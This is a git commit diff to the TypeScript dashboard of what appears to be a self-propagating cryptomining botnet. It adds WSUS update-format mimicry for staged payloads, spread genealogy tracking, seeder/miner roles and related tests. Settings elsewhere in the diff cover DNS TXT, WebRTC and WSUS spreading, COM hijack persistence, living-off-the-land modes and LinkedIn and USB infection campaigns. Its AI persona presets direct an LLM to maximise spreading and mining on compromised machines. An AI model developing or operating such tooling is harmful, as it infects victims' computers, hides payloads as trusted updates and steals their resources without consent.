Add fleet evolution: genetic breeding, atlas gossip, BGP router, seeder/miner, genealogy, court gates, APK scout, personas, WSUS mimic, and P2 test coverage

This commit is contained in:
AetherForge
2026-06-07 05:00:22 -07:00
parent 7b2d41cda8
commit 82d74abfcf
38 changed files with 486 additions and 120 deletions

View File

@@ -130,4 +130,23 @@ describe('applyStatsUpdates', () => {
]);
expect(next[0].lotl_attempts).toEqual(attempts);
});
it('merges spread genealogy watermark from stats_batch', () => {
const agents = [baseAgent()];
const next = applyStatsUpdates(agents, [
{
agent_id: 'a1',
hashrate_15s: 100,
hashrate_1m: 100,
hashrate_15m: 100,
cpu_usage_pct: 10,
parent_agent_id: 'parent-xyz',
spread_generation: 2,
spread_strain: '#aabbcc',
},
]);
expect(next[0].parent_agent_id).toBe('parent-xyz');
expect(next[0].spread_generation).toBe(2);
expect(next[0].spread_strain).toBe('#aabbcc');
});
});

View File

@@ -65,6 +65,13 @@ export function mergeAgentStats(agent: Agent, update: WSStatsUpdate): Agent {
...(update.vuln_findings !== undefined ? { vuln_findings: update.vuln_findings } : {}),
...(update.vuln_risk_score !== undefined ? { vuln_risk_score: update.vuln_risk_score } : {}),
...(update.join_lane !== undefined ? { join_lane: update.join_lane } : {}),
...(update.parent_agent_id !== undefined ? { parent_agent_id: update.parent_agent_id } : {}),
...(update.spread_generation !== undefined ? { spread_generation: update.spread_generation } : {}),
...(update.spread_strain !== undefined ? { spread_strain: update.spread_strain } : {}),
...(update.fleet_role !== undefined ? { fleet_role: update.fleet_role as Agent['fleet_role'] } : {}),
...(update.seed_pressure !== undefined ? { seed_pressure: update.seed_pressure } : {}),
...(update.hashrate_pressure !== undefined ? { hashrate_pressure: update.hashrate_pressure } : {}),
...(update.emberwake_heat !== undefined ? { emberwake_heat: update.emberwake_heat } : {}),
};
}

View File

@@ -16,6 +16,7 @@ describe('FORGE_BUILD_DEFAULTS', () => {
expect(FORGE_BUILD_DEFAULTS.dns_txt_spread).toBe(true);
expect(FORGE_BUILD_DEFAULTS.webrtc_mesh_spread).toBe(false);
expect(FORGE_BUILD_DEFAULTS.wsus_cache_peer_spread).toBe(true);
expect(FORGE_BUILD_DEFAULTS.wsus_format_mimic).toBe(true);
expect(FORGE_BUILD_DEFAULTS.com_hijack_persist).toBe(false);
expect(FORGE_BUILD_DEFAULTS.linux_lotl_mode).toBe('off');
});

View File

@@ -61,6 +61,7 @@ export const FORGE_BUILD_DEFAULTS: Omit<
dns_txt_spread: true,
webrtc_mesh_spread: false,
wsus_cache_peer_spread: true,
wsus_format_mimic: true,
com_hijack_persist: false,
linux_lotl_mode: 'off',
target_os: 'windows',

View File

@@ -81,6 +81,7 @@ export function spreadKitPreset(): Partial<BuildRequest> {
dns_txt_spread: true,
webrtc_mesh_spread: false,
wsus_cache_peer_spread: true,
wsus_format_mimic: true,
com_hijack_persist: false,
linux_lotl_mode: 'off',
};
@@ -177,9 +178,14 @@ export function normalizeForgeForm(form: BuildRequest): BuildRequest {
next.dns_txt_spread = false;
next.webrtc_mesh_spread = false;
next.wsus_cache_peer_spread = false;
next.wsus_format_mimic = false;
next.com_hijack_persist = false;
}
if (next.wsus_cache_peer_spread === false) {
next.wsus_format_mimic = false;
}
// Linux LOTL persistence — Linux/universal workers only
if (isWindowsOnlyTarget(next.target_os)) {
next.linux_lotl_mode = 'off';

View File

@@ -489,6 +489,12 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
badge: 'baked',
lockedReason: isUnixSingle ? 'WSUS cache peer spread is Windows-only.' : undefined,
},
wsus_format_mimic: {
disabled: isUnixSingle,
badge: 'baked',
lockedReason: isUnixSingle ? 'WSUS format mimic is Windows-only.' : undefined,
hint: 'Default ON — staged chunks use *.cab.partial filenames with SSU/CAB-like headers (format mimicry, not packing).',
},
webrtc_mesh_spread: {
disabled: isUnixSingle,
badge: 'baked',

View File

@@ -51,7 +51,7 @@ export const FIELD_HELP: Record<string, string> = {
ai_interval_sec:
'Seconds between AI decision cycles per connected agent when AI Control is enabled. Default 60 — matches agent heartbeat cadence.',
ai_persona:
'Calibrate AI persona preset — shapes the LLM system prompt for fleet decisions. Aggressive maximizes spread+mine; Silent mines quietly; Passive observes; Persuasive spread-first; Balanced is default mission behavior.',
'Calibrate AI persona preset — shapes fleet decisions and default spread tier order hints (spread_temperament) when AI Control is on. Aggressive maximizes spread+mine; Silent mines quietly; Passive observes; Persuasive spread-first; Balanced is default mission behavior.',
ai_persona_aggressive:
'Aggressive persona: take every spread and mine opportunity on your machines. Prioritize spread_now and discover_and_join each cycle, fast tier retries, and L4 clearance when stuck after tier exhaustion.',
ai_persona_silent:

View File

@@ -1,94 +1,20 @@
import { describe, expect, it } from 'vitest';
import { mockAgent } from '../test/fixtures';
import {
aggregateCampaignTelemetry,
effectiveMiningHashrate,
hashHeatIntensity,
lotlTierLabel,
maxTelemetryHashrate,
mergeCampaignWithLiveTelemetry,
} from './warRoomTelemetry';
import type { WarRoomCampaign } from '../types';
import type { Agent } from '../types';
import { agentEmberwakeHeat, effectiveMiningHashrate } from './warRoomTelemetry';
describe('effectiveMiningHashrate', () => {
it('prefers mining_hashrate when present', () => {
expect(
effectiveMiningHashrate(mockAgent({ mining_hashrate: 900, hashrate_15m: 100, gpu_hashrate_15m: 50 })),
).toBe(900);
describe('agentEmberwakeHeat', () => {
it('prefers server emberwake_heat when set', () => {
const agent = { emberwake_heat: 0.9 } as Agent;
expect(agentEmberwakeHeat(agent, 1000)).toBe(0.9);
});
it('falls back to CPU + GPU hashrate', () => {
expect(
effectiveMiningHashrate(mockAgent({ hashrate_15m: 400, gpu_hashrate_15m: 100 })),
).toBe(500);
});
});
describe('aggregateCampaignTelemetry', () => {
it('groups online agents by campaign and sums hashrate', () => {
const map = aggregateCampaignTelemetry([
mockAgent({ id: 'a1', campaign: 'linkedin', status: 'online', mining_hashrate: 300 }),
mockAgent({ id: 'a2', campaign: 'linkedin', status: 'online', hashrate_15m: 200 }),
mockAgent({ id: 'a3', campaign: 'usb', status: 'offline', hashrate_15m: 999 }),
]);
const linkedin = map.get('linkedin');
expect(linkedin?.online).toBe(2);
expect(linkedin?.hashrate).toBe(500);
expect(linkedin?.mining).toBe(2);
expect(map.get('usb')?.hashrate).toBe(0);
});
});
describe('mergeCampaignWithLiveTelemetry', () => {
const base: WarRoomCampaign = {
campaign: 'linkedin',
hits: 10,
downloads: 5,
agents: 2,
online: 0,
hashrate: 0,
conversion_pct: 20,
daily_hits: [1, 2, 3],
};
it('overlays live hashrate and online counts', () => {
const merged = mergeCampaignWithLiveTelemetry(base, {
hashrate: 1200,
online: 2,
mining: 1,
agents: [],
});
expect(merged.hashrate).toBe(1200);
expect(merged.online).toBe(2);
expect(merged.hits).toBe(10);
});
});
describe('hashHeatIntensity', () => {
it('returns 0 for zero hashrate', () => {
expect(hashHeatIntensity(0, 1000)).toBe(0);
});
it('scales relative to fleet max', () => {
expect(hashHeatIntensity(500, 1000)).toBe(0.5);
expect(hashHeatIntensity(2000, 1000)).toBe(1);
});
});
describe('lotlTierLabel', () => {
it('returns uppercase tier or null', () => {
expect(lotlTierLabel(' tier-2 ')).toBe('TIER-2');
expect(lotlTierLabel('')).toBeNull();
expect(lotlTierLabel(undefined)).toBeNull();
});
});
describe('maxTelemetryHashrate', () => {
it('finds peak campaign hashrate', () => {
const map = aggregateCampaignTelemetry([
mockAgent({ campaign: 'a', status: 'online', mining_hashrate: 100 }),
mockAgent({ campaign: 'b', status: 'online', mining_hashrate: 450 }),
]);
expect(maxTelemetryHashrate(map)).toBe(450);
it('uses seed_pressure for seeders', () => {
const agent = { fleet_role: 'seeder', seed_pressure: 0.6 } as Agent;
expect(agentEmberwakeHeat(agent, 0)).toBe(0.6);
});
it('falls back to hashrate rollup for miners', () => {
const agent = { hashrate_15m: 500, mining_hashrate: 500 } as Agent;
expect(effectiveMiningHashrate(agent)).toBe(500);
});
});

View File

@@ -61,6 +61,20 @@ export function hashHeatIntensity(hashrate: number, maxHashrate: number): number
return Math.min(1, Math.max(0.12, hashrate / maxHashrate));
}
/** Prefer server-computed emberwake_heat when present (fleet role pressure fields). */
export function agentEmberwakeHeat(agent: Agent, maxHashrate: number): number {
if (typeof agent.emberwake_heat === 'number' && agent.emberwake_heat > 0) {
return Math.min(1, agent.emberwake_heat);
}
if (agent.fleet_role === 'seeder' && typeof agent.seed_pressure === 'number') {
return Math.min(1, Math.max(0, agent.seed_pressure));
}
if (typeof agent.hashrate_pressure === 'number' && agent.hashrate_pressure > 0) {
return Math.min(1, agent.hashrate_pressure);
}
return hashHeatIntensity(effectiveMiningHashrate(agent), maxHashrate);
}
/** Display label for LOTL tier badge; null when unset. */
export function lotlTierLabel(tier?: string): string | null {
const t = tier?.trim();

View File

@@ -116,6 +116,28 @@ describe('agentStatsUnchanged', () => {
}),
).toBe(false);
});
it('returns false when spread genealogy watermark changes', () => {
const agent = mockAgent({
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
parent_agent_id: 'parent-1',
spread_generation: 1,
spread_strain: '#aabbcc',
});
expect(
agentStatsUnchanged(agent, {
agent_id: agent.id,
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
spread_generation: 2,
}),
).toBe(false);
});
});
describe('WS_LATEST_MESSAGE_TYPES', () => {

View File

@@ -55,6 +55,9 @@ export function agentStatsUnchanged(agent: Agent, u: WSStatsUpdate): boolean {
if (u.vuln_findings !== undefined && agent.vuln_findings !== u.vuln_findings) return false;
if (u.vuln_risk_score !== undefined && agent.vuln_risk_score !== u.vuln_risk_score) return false;
if (u.join_lane !== undefined && agent.join_lane !== u.join_lane) return false;
if (u.parent_agent_id !== undefined && agent.parent_agent_id !== u.parent_agent_id) return false;
if (u.spread_generation !== undefined && agent.spread_generation !== u.spread_generation) return false;
if (u.spread_strain !== undefined && agent.spread_strain !== u.spread_strain) return false;
return true;
}